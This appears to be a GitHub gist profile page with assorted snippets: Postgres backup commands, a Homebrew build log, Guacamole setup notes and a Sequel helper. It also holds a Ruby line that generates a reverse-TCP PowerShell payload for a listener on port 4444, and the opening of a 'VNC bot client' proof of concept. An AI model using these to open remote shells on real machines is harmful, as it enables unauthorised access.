Skip to content

Instantly share code, notes, and snippets.

View crmaxx's full-sized avatar

Maxim Zhukov crmaxx

  • Russia, Vladimir
View GitHub Profile
home = '/opt/tmps'
python27_bin = %x(which python2.7) # /usr/bin/python2.7
ip = '10.211.55.8'
port = 4444
arch = 'x64'
cmd = %x[ #{python27_bin} #{home}/GenerateCmdLine.py -ip #{ip} -arch #{arch} -p #{port} -f #{home}/#{arch}/reverse_tcp.ps1 ]
@crmaxx
crmaxx / memorized.txt
Last active September 29, 2015 12:12
Styles and examples from MSF PRO
pre {
padding: 10px;
&.logs {
height: 300px;
overflow: auto;
}
&.console {
color: #000;
background-color: #FAEBB9;
font-size: 11px;
PGPASSWORD=pass /opt/metasploit/postgresql/bin/pg_dump -h localhost -U user_name -b -Fc db_name | bzip2 -c > `date +"%Y-%m-%d_%H_%m_%s"`.bz2
bzip2 -d -c file.bz2 | PGPASSWORD=pass /opt/metasploit/postgresql/bin/pg_restore -h localhost -U user_name -d db_name -Fc -O
==> Installing homebrew/versions/gcc47
==> Downloading http://ftpmirror.gnu.org/gcc/gcc-4.7.4/gcc-4.7.4.tar.bz2
==> Downloading from http://mirror.tochlab.net/pub/gnu/gcc/gcc-4.7.4/gcc-4.7.4.tar.bz2
######################################################################## 100.0%
==> Downloading https://gcc.gnu.org/bugzilla/attachment.cgi?id=35773
######################################################################## 100.0%
==> Downloading https://raw.githubusercontent.com/Homebrew/patches/7293b7d3/gcc47/patch-10.10.diff
######################################################################## 100.0%
==> Patching
patching file gcc/config/darwin.c
@crmaxx
crmaxx / pg_upgrade
Last active January 27, 2016 12:07
pg_upgrade to 9.5.0
Assuming you've used home-brew to install and upgrade Postgres, you can perform the following steps.
Stop current Postgres server:
launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist
Initialize a new 9.5 database:
initdb /usr/local/var/postgres9.5 -E utf8
@crmaxx
crmaxx / vncbot_client.rb
Last active February 3, 2016 12:57
PoC for VNC bot client
#!/usr/bin/env ruby
# gem install awesome_print
require 'awesome_print'
require 'socket'
class VncClient
def initialize(address, port)
ap "initialize client"
@address = address
@port = port
@crmaxx
crmaxx / install.log
Last active February 18, 2016 13:30
guacamole install log
add-apt-repository ppa:webupd8team/java
apt-get update
apt-get install libcairo2-dev libjpeg-turbo8-dev libpng12-dev libossp-uuid-dev libfreerdp-dev \
libpango1.0-dev libssh2-1-dev libtelnet-dev libvncserver-dev libpulse-dev libssl-dev libvorbis-dev \
libwebp-dev maven tomcat7 tomcat7-admin oracle-java8-installer
echo "JAVA_HOME=/usr/lib/jvm/java-8-oracle" >> /etc/default/tomcat7
echo "GUACAMOLE_HOME=/opt/guacamole" >> /etc/default/tomcat7
git clone git://github.com/glyptodon/guacamole-server.git
@crmaxx
crmaxx / guacamole.rb
Last active February 23, 2016 13:22
Guacamole config generator, PoC
#!/usr/bin/env ruby
require 'nokogiri'
@host = "10.211.55.18"
@port = "56139"
@name = "#{@host}:#{@port}"
@guacamole_config = ARGV[0]
def remove_config(root)
dataset_module do
# User.one_to_one(:auth)
# User.eager_cursor(1000, :auth) do |user|
# user.auth # no additional query
# end
def eager_cursor(rows_per_fetch = 1000, *associations)
cursor = use_cursor(rows_per_fetch: rows_per_fetch)
cursor.each_slice(rows_per_fetch) do |records|
associations.each do |assoc|
refl = model.association_reflection(assoc)